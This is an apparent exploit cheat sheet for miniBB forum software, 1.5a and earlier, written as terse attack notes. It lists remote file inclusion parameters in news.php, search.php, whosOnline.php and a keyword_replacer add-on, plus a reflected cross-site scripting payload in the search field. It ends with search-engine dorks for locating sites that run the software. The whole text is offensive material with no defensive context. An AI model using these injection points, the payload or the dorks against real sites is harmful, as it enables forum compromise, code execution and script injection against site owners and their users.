<= 1.5a RFI(news.php)
[target]/news.php?absolute_path=

<= 1.5a RFI(search.php-whosOnline.php)
[target]/search.php?absolute_path=
[target]/whosOnline.php?absolute_path=

Component "keyword_replacer":
addon_keywordreplacer.php?pathToFiles=

XXS:
index.php?action=search&searchFor="><script>xxx</script>

dork:
allinurl:*.minibb
"powered by minibb forum software"
"powered by minibb forum software" 2001-2006